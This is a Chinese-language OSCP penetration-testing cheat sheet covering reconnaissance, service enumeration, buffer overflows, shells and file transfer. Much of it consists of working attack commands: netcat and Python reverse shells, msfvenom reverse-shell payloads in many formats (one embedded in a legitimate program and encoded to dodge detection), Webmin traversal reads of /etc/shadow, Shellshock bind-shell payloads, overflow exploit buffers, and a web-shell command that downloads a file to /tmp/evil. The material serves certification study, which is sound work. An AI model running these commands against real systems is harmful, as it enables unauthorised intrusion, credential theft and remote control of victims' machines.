OSCP生存手册

Kali Linux

- 将目标地址设置为 `$ip` 全局变量

  `export ip=192.168.1.100`

- 搜索文件所在路径

  `locate sbd.exe`

- 在 `$PATH` 环境变量中搜索目标

  `which sbd`

- 查找名称中包含特定字符串的文件

  `find / -name sbd*`

- 显示活动的互联网连接

  `netstat -lntp`

- 修改密码

  `passwd`

- 验证服务正在运行和侦听

  `netstat -antp |grep apache`

- 启动服务

  `systemctl start ssh`

  `systemctl start apache2`

- 系统启动时自动启动服务

  `systemctl enable ssh`

- 停止服务

  `systemctl stop ssh`

- 解压 gz 格式文件

  `gunzip access.log.gz`

- 解压 tar.gz 文件

  `tar -xzvf file.tar.gz`

- 搜索命令历史

  `history | grep phrase_to_search_for`

- 下载一个 WEB 页面

  `wget http://www.cisco.com`

- 访问一个 WEB 页面

  `curl http://www.cisco.com`

- 字符操作命令

  - 计算文件的行数

```
wc -l index.html
```

- 只显示文件的开始或结束部分

  ```
  head index.html
  ```

  ```
  tail index.html
  ```

- 筛选包含制定字符串的行

  ```
  grep "href=" index.html
  ```

- 按分隔符切分字符串，过滤结果，然后排序

  ```
  grep "href=" index.html | cut -d "/" -f 3 | grep "\." | cut -d '"' -f 1 | sort -u
  ```

- 使用 Grep 和正则表达式，并将结果输出到文件

  ```
  cat index.html | grep -o 'http://[^"]*' | cut -d "/" -f 3 | sort –u > list.txt
  ```

- 使用 bash 循环解析每个主机名的 IP 地址

  ```
  for url in $(cat list.txt); do host $url; done
  ```

- 统计日志文件中所有 IP 地址，并按出现频率排序

  ```
  cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn
  ```

- 解码
  - Base64 解码

    ```
    echo -n "55m95bi95a2m6IuR" | base64 --decode
    ```

  - Hex 解码

    ```
    echo -n "46 4c 34 36 5f 33 3a 32 396472796 63637756 8656874" | xxd -r -ps
    ```

- NC - 读写 TCP、UDP 报文
  - 连接 POP3 邮件服务器

    ```
    nc -nv $ip 110
    ```

  - 侦听端口（服务端）

    ```
    nc -nlvp 4444
    ```

  - 连接指定端口（客户端）

    ```
    nc -nv $ip 4444
    ```

  - 使用 NC 传输文件

    ```
    nc -nv $ip 4444 < /usr/share/windows-binaries/wget.exe
    ```

  - 使用 NC 接收文件

    ```
    nc -nlvp 4444 > incoming.exe
    ```

  - 某些操作系统(OpenBSD)将使用 nc.traditional，而不是 nc，所以要小心。

    ```
    whereis nc
    ```

    nc: /bin/nc.traditional /usr/share/man/man1/nc.1.gz

    /bin/nc.traditional -e /bin/bash 1.2.3.4 4444

  - 在 Windows 上创建反向 shell

    ```
    nc.exe -nlvp 4444 -e cmd.exe
    ```

    或

    ```
    nc.exe -nv <Remote IP> <Remote Port> -e cmd.exe
    ```

  - 在 Linux 上创建反向 shell

    ```
    nc -nv $ip 4444 -e /bin/bash
    ```

  - 获取 Banner 信息

    ```
    echo "" | nc -nv -w1 <IP Address> <Ports>
    ```

- Ncat - 为 Nmap 项目提供的类 NC 软件，可避免 IDS 检测
  - 在 Windows 上创建基于 SSL 的反向 shell

    ```
    ncat --exec cmd.exe --allow $ip -vnl 4444 --ssl
    ```

  - 建立 SSL 连接

    ```
    ncat -v $ip 4444 --ssl
    ```

- Wireshark
  - 只显示 SMTP(端口 25)和 ICMP 流量

    ```
    tcp.port eq 25 or icmp
    ```

  - 只显示 192.168.x.x 网段流量

    ```
    ip.src==192.168.0.0/16 and ip.dst==192.168.0.0/16
    ```

  - 过滤协议类型 (e.g. SIP) 和 IP

    ```
    ip.src != xxx.xxx.xxx.xxx && ip.dst != xxx.xxx.xxx.xxx && sip
    ```

  - 过滤 IP 地址

    ```
    ip.addr == xxx.xxx.xxx.xxx
    ```

    同上

    ```
    ip.src == xxx.xxx.xxx.xxx or ip.dst == xxx.xxx.xxx.xxx
    ```

    ```
    ip.addr != xxx.xxx.xxx.xxx
    ```

    同上

    ```
    ip.src != xxx.xxx.xxx.xxx or ip.dst != xxx.xxx.xxx.xxx
    ```

- Tcpdump
  - 读取 pcap 文件

    ```
    tcpdump -r passwordz.pcap
    ```

  - 过滤 IP 地址并排序

    ```
    tcpdump -n -r passwordz.pcap | awk -F" " '{print $3}' | sort -u | head
    ```

  - 抓取端口 80 上的数据包

    ```
    tcpdump tcp port 80 -w output.pcap -i eth0
    ```

  - 筛选 ACK + PSH 标记的 TCP 包

    ```
    tcpdump -A -n 'tcp[13] = 24' -r passwordz.pcap
    ```

- Dsniff
  - 读取 pcap 文件

    ```
    dsniff -p ch2.pcap
    ```

- IPTables
  - 拒绝除“本地环回”外的其他网卡流量

    ```
    iptables -A INPUT -p tcp --destination-port 13327 ! -d $ip -j DROP
    ```

    ```
    iptables -A INPUT -p tcp --destination-port 9991 ! -d $ip -j DROP
    ```

  - 清除所有防火墙规则

    Markdown

```
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
iptables -t nat -F
iptables -t mangle -F
iptables -F
iptables -X
iptables -t raw -F iptables -t raw -X
```

信息收集 & 漏扫

- Google Hacking
  - 搜索网站子域名

    `site:microsoft.com`
  - filetype、intitle

    `intitle:"netbotz appliance" "OK" -filetype:pdf`
  - inurl

    `inurl:"level/15/sexec/-/show"`
  - Google Hacking Database:

    https://www.exploit-db.com/google-hacking-database/
- SSL 证书测试

  https://www.ssllabs.com/ssltest/analyze.html
- 获取 Email
  - Simply Email

    `git clone https://github.com/killswitch-GUI/SimplyEmail.git`

    `./SimplyEmail.py -all -e TARGET-DOMAIN`
- LDAP
  - LDAP 匿名绑定 (https://www.freebuf.com/articles/web/256920.html)

    `ldapsearch -x -b "ou=anonymous,dc=challenge01,dc=root-me,dc=org" -H "ldap://challenge01.root-me.org:54013"`
- Netcraft
  - 检测站点构成组件

    https://searchdns.netcraft.com/
- Whois 枚举

  `whois domain-name-here.com`

  `whois $ip`
- Banner 信息
  - `nc -v $ip 25`
  - `telnet $ip 25`
  - `nc TARGET-IP 80`
- Recon-ng - 全特性 WEB 侦查框架
  - `cd /opt; git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git`

    `cd /opt/recon-ng`

    `./recon-ng`

```
show modules
```

```
help
```

- 主动信息收集 & 端口扫描

Subnet Reference Table

/	地址数	主机数	掩码	C 类地址的子网数
/30	4	2	255.255.255.252	1/64
/29	8	6	255.255.255.248	1/32
/28	16	14	255.255.255.240	1/16
/27	32	30	255.255.255.224	1/8
/26	64	62	255.255.255.192	1/4
/25	128	126	255.255.255.128	1/2
/24	256	254	255.255.255.0	1
/23	512	510	255.255.254.0	2
/22	1024	1022	255.255.252.0	4
/21	2048	2046	255.255.248.0	8
/20	4096	4094	255.255.240.0	16
/19	8192	8190	255.255.224.0	32
/18	16384	16382	255.255.192.0	64
/17	32768	32766	255.255.128.0	128
/16	65536	65534	255.255.0.0	256

- 将 IP 地址设为环境变量

  ```
  export ip=192.168.1.100
  ```

  ```
  nmap -A -T4 -p- $ip
  ```

- NC 端口扫描

  ```
  nc -nvv -w 1 -z $ip 3388-3390
  ```

- arp 主机发现
- `arp-scan $ip/24`
- 网络发现

  ```
  netdiscover
  ```

  ```
  netdiscover -r $ip/24
  ```

- Nmap SYN 扫描

  ```
  nmap -sS $ip
  ```

- Nmap FIN 扫描

  ```
  nmap -sF $ip
  ```

- Nmap Banner 信息

  ```
  nmap -sV -sT $ip
  ```

- Nmap 操作系统 指纹

  ```
  nmap -O $ip
  ```

- Nmap 常规扫描:

```
nmap $ip/24
```

- 枚举扫描

```
nmap -p 1-65535 -sV -sS -A -T4 $ip/24 -oN nmap.txt
```

- 全端口扫描，保存结果

```
nmap -oN nmap2.txt -v -sU -sS -p- -A -T4 $ip
```

```
nmap -oN nmap.txt -p 1-65535 -sV -sS -A -T4 $ip/24
```

```
nmap -v -sU -sS -p- -A -T4 $ip
```

- 快速扫描

```
nmap -T4 -F $ip/24
```

```
nmap -sV -T4 -O -F --version-light $ip/24
```

- 路径追踪

```
nmap -sn --traceroute $ip
```

- Intense 扫描:

```
nmap -T4 -A -v $ip
```

```
nmap -sS -sU -T4 -A -v $ip/24
```

```
nmap -p 1-65535 -T4 -A -v $ip/24
```

- Intense 扫描 - No Ping

```
nmap -T4 -A -v -Pn $ip/24
```

- Ping 扫描

```
nmap -sn $ip/24
```

- 全面扫描（缓慢）

```
nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" $ip/24
```

- TCP 全连接扫描

```
nmap -p1-65535 -A -T5 -sT $ip
```

枚举

- DNS 枚举

- NMAP DNS 域名解析

```
nmap -F --dns-server <dns server ip> <target ip range>
```

- 域名解析

```
host -t ns megacorpone.com
```

- 反向域名解析

```
for ip in $(seq 155 190);do host 50.7.67.$ip;done |grep -v "not found"
```

- 域名解析

```
dig a domain-name-here.com @nameserver
```

- MX 记录

```
dig mx domain-name-here.com @nameserver
```

- 使用 DIG 命令进行区域传输

```
dig axfr domain-name-here.com @nameserver
```

- DNS 区域传输

        - Windows 系统

          `nslookup -> set type=any -> ls -d blah.com`

        - Linux 系统

          `dig axfr blah.com @ns1.blah.com`

    - Dnsrecon 子域名爆破

      `dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml`

      `dnsrecon -d megacorpone.com -t axfr`

    - DNSEnum

      `dnsenum zonetransfer.me`

- Nmap 枚举脚本列表

    - NMap 发现

      https://nmap.org/nsedoc/categories/discovery.html

    - Nmap 端口版本扫描

      `nmap -vvv -A --reason --script="+(safe or default) and not broadcast" -p <port> <host>`

- NFS (Network File System) 枚举

    - 显示可挂载的 NFS 共享

      `nmap -sV --script=nfs-showmount $ip`

- RPC 枚举

    - 在没有用户名和密码的情况下连接到 RPC 共享，并枚举权限

      `rpcclient --user="" --command=enumprivs -N $ip`

    - 使用用户名连接到 RPC 共享并枚举特权

      `rpcclient --user="<Username>" --command=enumprivs $ip`

- SMB 枚举

    - SMB OS 发现

      `nmap $ip --script smb-os-discovery.nse`

    - Nmap 端口扫描

      `nmap -v -p 139,445 -oG smb.txt $ip-254`

    - Netbios 扫描

      `nbtscan -r $ip/24`

    - Nmap 发现 Netbios 服务器

      `nmap -sU --script nbstat.nse -p 137 $ip`

    - Nmap 全 SMB 脚本扫描

      `nmap -sV -Pn -vv -p 445 --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe=1 $ip`

    - Nmap 全 SMB 脚本认证扫描

      `nmap -sV -Pn -vv -p 445 --script-args smbuser=<username>,smbpass=<password> --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe=1 $ip`

    - SMB 枚举工具

      `nmblookup -A $ip`

      `smbclient //MOUNT/share -I $ip -N`

`rpcclient -U "" $ip`

`enum4linux $ip`

`enum4linux -a $ip`

- SMB 指纹发现

  `smbclient -L //$ip`

- Nmap 扫描 SMB 共享

  `nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 192.168.10.0/24`

- Nmap 扫描漏洞 SMB 服务器

  `nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 $ip`

- Nmap 全部 SMB 脚本

  `ls -l /usr/share/nmap/scripts/smb*`

- 枚举 SMB 用户

  `nmap -sU -sS --script=smb-enum-users -p U:137,T:139 $ip-14`

  或

  `python /usr/share/doc/python-impacket-doc/examples /samrdump.py $ip`

  - RID 枚举 - 空会话

    `ridenum.py $ip 500 50000 dict.txt`

  - 手动空会话测试

    Windows: `net use \$ip\IPC$ "" /u:""`

    Linux: `smbclient -L //$ip`

- SMTP 枚举 - 邮件服务器

  - NC 连接 SMTP 端口

    `nc -nv $ip 25`

- POP3 枚举 - 阅读其他帐号的邮件可能发现用户名和密码（Telnet 连接）

```Markdown
root@kali:~# telnet $ip 110
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
USER billydean
+OK
PASS password
+OK Welcome billydean
list
+OK 2 1807
1 786
2 1021
retr 1
+OK Message follows
From: [jamesbrown@motown.com](mailto:jamesbrown@motown.com)
Dear Billy Dean,
Here is your login for remote desktop ... try not to forget it this time!
username: billydean
password: PA$$W0RD!Z
```

- SNMP 枚举 -Simple Network Management Protocol

  - 修复 SNMP 输出值，使其具有可读性

    `apt-get install snmp-mibs-downloader download-mibs`

    `echo "" > /etc/snmp/snmp.conf`

- SNMP 枚举命令
  - `snmpcheck -t $ip -c public`
  - `snmpwalk -c public -v1 $ip 1|`
  - `grep hrSWRunName|cut -d* * -f`
  - `snmpenum -t $ip`
  - `onesixtyone -c names -i hosts`
- SNMPv3 枚举

  `nmap -sV -p 161 --script=snmp-info $ip/24`
- 自动化 SNMPv3 用户名枚举

  `apt-get install snmp snmp-mibs-downloader`

  `wget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb`
- SNMP 默认密码

  /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt

- MSSQL 枚举
  - Nmap 信息收集

    `nmap -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER $ip`
- Webmin、miniserv/0.01 枚举 - 端口 10000
  - 通过读取 /etc/passwd 来测试 LFI 和文件泄露漏洞

    `curl http://$ip:10000//unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/passwd`
  - 通过读取 /etc/shadow 来测试 webmin 是否以 root 用户运行

    `curl http://$ip:10000//unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/shadow`
- Linux 系统枚举
  - 查找所有 SUID 文件

    `find / -perm -4000 2>/dev/null`
  - 查看 Linux 发行版

    `cat /etc/issue`
  - 查看内核版本等系统信息

    `uname -a`
  - 查看进程里表

    `ps -xaf`
  - 查看 SUDO 权限

    `sudo -l`
  - 查看 FW 规则

```
iptables --table nat --list iptables -vL -t filter iptables -vL -t nat iptables -vL -t mangle iptables -vL -t raw iptables -vL -t security
```

- Windows 系统枚举
  - `net config Workstation`
  - `systeminfo | findstr /B /C:"OS Name" /C:"OS Version"`
  - `hostname`
  - `net users`
  - `ipconfig /all`
  - `route print`
  - `arp -A`
  - `netstat -ano`
  - `netsh firewall show state`
  - `netsh firewall show config`
  - `schtasks /query /fo LIST /v`
  - `tasklist /SVC`
  - `net start`
  - `DRIVERQUERY`
  - `reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated`
  - `reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated`
  - `dir /s *pass* == *cred* == *vnc* == *.config*`
  - `findstr /si password *.xml *.ini *.txt`
  - `reg query HKLM /f password /t REG_SZ /s`
  - `reg query HKCU /f password /t REG_SZ /s`
- Nmap 漏洞扫描
- Nmap 漏洞利用脚本

  https://nmap.org/nsedoc/categories/exploit.html
- Nmap 搜索 vuln 类脚本

  `cd /usr/share/nmap/scripts/ ls -l *vuln*`
- 通过关键词搜索相关 NMAP 脚本

  `ls /usr/share/nmap/scripts/* | grep ftp`
- 使用 exploit 类漏洞进行扫描

  `nmap --script exploit -Pn $ip`
- NMap 身份认证脚本

  https://nmap.org/nsedoc/categories/auth.html
- Nmap Vuln 类脚本

  https://nmap.org/nsedoc/categories/vuln.html
- NMap DOS 扫描

  `nmap --script dos -Pn $ip NMap Execute DOS Attack nmap --max-parallelism 750 -Pn --script http-slowloris --script-args http-slowloris.runforever=true`
- Nmap 扫描 coldfusion WEB 漏洞

`nmap -v -p 80 --script=http-vuln-cve2010-2861 $ip`

- Nmap 扫描匿名 FTP 漏洞

  `nmap -v -p 21 --script=ftp-anon.nse $ip-254`

- File 枚举
  - 查找 SUID/SGID 文件

    `/usr/bin/find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null`

  - 本地枚举脚本 (/var/tmp)

    `wget https://highon.coffee/downloads/linux-local-enum.sh` `chmod +x ./linux-local-enum.sh` `./linux-local-enum.sh`

  - 查找八月份更新的可执行文件

    `find / -executable -type f 2> /dev/null | egrep -v "^/bin|^/var|^/etc|^/usr" | xargs ls -lh | grep Aug`

  - 查找指定文件名（支持通配符）

    `find /. -name suid*`

  - 查看文件中的可打印字符串

    `strings <filename>`

  - 查看文件类型

    `file <filename>`

HTTP 枚举

- Gobuster 路径枚举

  `gobuster -w /usr/share/wordlists/dirb/common.txt -u $ip`

- DirBuster
- Dirb

  `dirb http://$ip/ wordlist.dict` `dirb <http://vm/>`

  Dirb 挂代理

- `dirb [http://$ip/](http://172.16.0.19/) -p $ip:3129`
- Nikto

  `nikto -h $ip`

- NMAP 脚本 HTTP 枚举

  `nmap --script=http-enum -p80 -n $ip/24`

- Nmap 检查服务器方法

  `nmap --script http-methods --script-args http-methods.url-path='/test' $ip`

- 测试 Options 方法

  `curl -vX OPTIONS vm/test`

- Uniscan 路径枚举

  `uniscan -qweds -u <http://vm/>`

- Wfuzz

  `wfuzz -c -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?FUZZ=test`

  `wfuzz -c --hw 114 -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?page=FUZZ`

  `wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt "$ip:60080/?page=mailer&mail=FUZZ"`

  `wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt --hc 404 $ip/FUZZ`

    - 递归 3 层

      ```
      wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt -R 3 --sc 200 $ip/FUZZ
      ```

- 检测 Knockd 端口

  ```
  for x in 7000 8000 9000; do nmap -Pn --host_timeout 201 --max-retries 0 -p $x server_ip_address; done
  ```

- WordPress 漏洞扫描
  - `wpscan --url $ip/blog --proxy $ip:3129`
- RSH 枚举 - 不加密的文件传输系统
  - `auxiliary/scanner/rservices/rsh_login`
- Finger 枚举
  - `finger @$ip`
  - `finger batman@$ip`
- TLS & SSL 扫描
  - `./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U $ip | aha > OUTPUT-FILE.html`
- 挂代理扫描
  - `nikto -useproxy` `http://:3128$ip` `-h $ip`
- 隐写术

  `apt-get install steghide`
  `steghide extract -sf picture.jpg`
  `steghide info picture.jpg`
  `apt-get install stegosuite`
- OpenVAS 漏扫

  `apt-get update`

  `apt-get install openvas`

  `openvas-setup`

  `netstat -tulpn`

  登录地址: `https://$ip:9392`

缓冲区溢出攻击

- DEP - 数据执行防止
- ASLR - 内存地址随机化
- Nmap Fuzzers:
  - NMap Fuzzer 列表

    https://nmap.org/nsedoc/categories/fuzzer.html
  - NMap HTTP 表单 Fuzzer

    ```
    nmap --script http-form-fuzzer --script-args 'http-form-fuzzer.targets={1={path=/},2={path=/register.html}}' -p 80 $ip
    ```
  - Nmap DNS Fuzzer

    ```
    nmap --script dns-fuzz --script-args timelimit=2h $ip -d
    ```
- MSFvenom

  https://www.offensive-security.com/metasploit-unleashed/msfvenom/
- Windows 缓冲区溢出

- 控制 EIP

  利用 pattern_create 测定 EIP 精确位置

  `pattern_create.rb -l 2700`

  `locate pattern_offset`

  `pattern_offset.rb -q 39694438`

  `buffer = "A" * 2606 + "B" * 4 + "C" * 90`

- 测定坏字符 “Bad Characters” - （0x00 - 0xFF）
- 使用 Mona 测定未受保护的模块
- 如果 DEP 存在，则通过查找具有读取和执行权限的 JMP ESP 内存位置来绕过 DEP
- 使用 NASM 来确定 JMP ESP 指令的十六进制代码

  `/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb`

  `JMP ESP`

  `00000000 FFE4 jmp esp`

- 运行 Mona 查找(FFE4) XEF 命令内存位置

  `!mona find -s "\xff\xe4" -m slmfc.dll`

  将地址翻转为 little endian 格式

  `buffer = "A" * 2606 + "\x8f\x35\x4a\x5f" + "C" * 390`

- 创建 Payload（MSFVenom）

  `msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d"`

- 最终的 Payload（加 NOP）

  `buffer="A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode`

- 创建 PE 反弹 Shell

  `msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f exe -o shell_reverse.exe`

- Payload 增加编码 Shikata_ga_nai

  `msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f  exe -e x86/shikata_ga_nai -i 9 -o shell_reverse_msf_encoded.exe`

- 将 payload 嵌入合法程序

  `msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe`

  - 创建反弹 HTTPS Shell

    `msfvenom -p windows/meterpreter/reverse_https LHOST=$ip LPORT=443 -f exe -o met_https_reverse.exe`

- Linux 缓冲区溢出
  - 运行 EDB，加载程序

    `edb --run /usr/games/crossfire/bin/crossfire`

  - 跳转并偏移至可控寄存器（EAX）

    `add eax,12`

    `jmp eax`

    `83C00C add eax,byte +0xc`

    `FFE0 jmp eax`

  - 测定坏字符 0x00 - 0xFF

- 查找 JMP ESP 地址

  `"\x97\x45\x13\x08"`　　# 小头 08134597

- `crash = "\x41" * 4368 + "\x97\x45\x13\x08" + "\x83\xc0\x0c\xff\xe0\x90\x90"`
- `msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f c -b "\x00\x0a\x0d\x20" –e x86/shikata_ga_nai`
- `nc -v $ip 4444`

Shells

- NC 侦听

  `nc -nlvp 4444`

- rbash 升级终端

  `ssh user@$ip nc $localip 4444 -e /bin/sh`

  输入帐号密码

  `python -c 'import pty; pty.spawn("/bin/sh")'`

  `export TERM=linux`

  `python -c 'import pty; pty.spawn("/bin/sh")'`

  `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("$ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`

  `echo os.system('/bin/bash')`

  `/bin/sh -i`

  `perl –e 'exec "/bin/sh";'`

  perl: `exec "/bin/sh";`

  ruby: `exec "/bin/sh"`

  lua: `os.execute('/bin/sh')`

  IRB: `exec "/bin/sh"`

  vi: `:!bash` 或 `:set shell=/bin/bash:shell`

  vim: `':!bash':`

  nmap: `!sh`

  tcpdump: `echo $'id\n/bin/netcat $ip 443 –e /bin/bash' > /tmp/.test chmod +x /tmp/.test sudo tcpdump –ln –I eth- -w /dev/null –W 1 –G 1 –z /tmp/.tst –Z root`

  busybox: `/bin/busybox telnetd -|/bin/sh -p9999`

- PHP 反弹 shell

  http://pentestmonkey.net/tools/web-shells/php-reverse-shel

  http://pentestmonkey.net/tools/web-shells/php-findsock-shell

- Perl 反弹 Shell

  http://pentestmonkey.net/tools/web-shells/perl-reverse-shell

  https://github.com/b374k/b374k

- Windows 反弹 shell -

  https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1

- Web 后门

https://github.com/fuzzdb-project/fuzzdb/tree/master/web-backdoors

- MSFVenom

  http://www.securityunlocked.com/2016/01/02/network-security-pentesting/most-useful-msfvenom-payloads/

  Linux

  ```
  msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
  ```

  Windows

  ```
  msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
  ```

  Mac

  ```
  msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
  ```

  Web Payloads

  PHP

  ```
  msfvenom -p php/reverse_php LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
  ```

  或

  ```
  msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
  ```

  首行添加 <?php

  ```
  cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
  ```

  ASP

  ```
  msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
  ```

  JSP

  ```
  msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
  ```

  WAR

  ```
  msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
  ```

  Python

  ```
  msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
  ```

  Bash

  ```
  msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
  ```

  Perl

  ```
  msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
  ```

  帮助

  ```
  msfvenom –help-formats
  ```

  Linux Shellcode

  ```
  msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
  ```

  Windows Shellcode

  ```
  msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
  ```

  Mac Shellcode

  ```
  msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
  ```

  MSF Handlers

  ```
  use exploit/multi/handler
  ```

  ```
  set PAYLOAD <Payload name>
  ```

`set LHOST <LHOST value>`

`set LPORT <LPORT value>`

`set ExitOnSession false`

`exploit -j -z`

- 从 SSH 到 Meterpreter:

  https://daemonchild.com/2015/08/10/got-ssh-creds-want-meterpreter-try-this/

  `use auxiliary/scanner/ssh/ssh_login`

  `use post/multi/manage/shell_to_meterpreter`

- SBD.exe

  NC 类工具，可运行于 Win32 和类 Unix 系统。支持 AES-CBC-128 + HMAC-SHA1 加密，通过 -e 参数可执行程序，支持自动延迟重连 (/usr/share/windows-binaries/backdoors/sbd.exe)

- Shellshock

  - NMap 测试破壳漏洞

    `root@kali:~/Documents# nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/admin.cgi $ip`

    `git clone https://github.com/nccgroup/shocker`

    `./shocker.py -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose`

  - 打开 ssh 调试输出验证是否存在漏洞

    `ssh -vvv`

    `ssh -i noob noob@$ip '() { :;}; /bin/bash'`

  - 查看文件内容

    `echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () {:;}; echo \$(</etc/passwd)\r\nHost:vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80`

  - Shell Shock 绑定侦听端口

    `echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () {:;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost:vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80`

文件传输

- 开启 WEB 服务

  `python -m SimpleHTTPServer 80`

  `python3 -m http.server`

  `php -S $ip:80`

- VBScript 版本 wget

  https://github.com/erik1o6/oscp/blob/master/wget-vbs-win.txt

```Markdown
echo Set args = Wscript.Arguments  >> webdl.vbs
timeout 1
echo Url = "[http://1.1.1.1/windows-privesc-check2.exe](http://1.1.1.1/windows-privesc-check2.exe)"  >> webdl.vbs
timeout 1
echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")  >> webdl.vbs
timeout 1
echo dim bStrm: Set bStrm = createobject("Adodb.Stream")  >> webdl.vbs
timeout 1
echo xHttp.Open "GET", Url, False  >> webdl.vbs
timeout 1
echo xHttp.Send  >> webdl.vbs
timeout 1
```

```
13 echo with bStrm      >> webdl.vbs
14 timeout 1
15 echo   .type = 1 '      >> webdl.vbs
16 timeout 1
17 echo   .open      >> webdl.vbs
18 timeout 1
19 echo   .write xHttp.responseBody      >> webdl.vbs
20 timeout 1
21 echo   .savetofile "C:\temp\windows-privesc-check2.exe", 2 '  >> webdl.vbs
22 timeout 1
23 echo end with >> webdl.vbs
24 timeout 1
25 echo
```

- 运行脚本

  `C:\temp\cscript.exe webdl.vbs`

- Mount 共享文件

  `mount $ip:/vol/share /mnt/nfs`

- HTTP Put

  `nmap -p80 $ip --script http-put --script-args http-put.url='/test/sicpwn.php',http-put.file='/var/www/html/sicpwn.php`

- 上传文件

  - `scp username1@source_host:directory1/filename1 username2@destination_host:directory2/filename2`

    `scp localfile username@$ip:~/Folder/`

    `scp Linux_Exploit_Suggester.pl bob@192.168.1.10 :~`

  - Webdav

    `davtest -move -sendbd auto -url http://$ip`

    使用 PUT 方法上传文件

    `curl -T 'leetshellz.txt' 'http://$ip'`

    使用 MOVE 方法重命名文件

    `curl -X MOVE --header 'Destination:http://$ip/leetshellz.php' 'http://$ip/leetshellz.txt'`

  - 上传 shell

    `curl -s --data "cmd=wget http://174.0.42.42:8000/dhn -O /tmp/evil" http://$ip/files/sh.php`

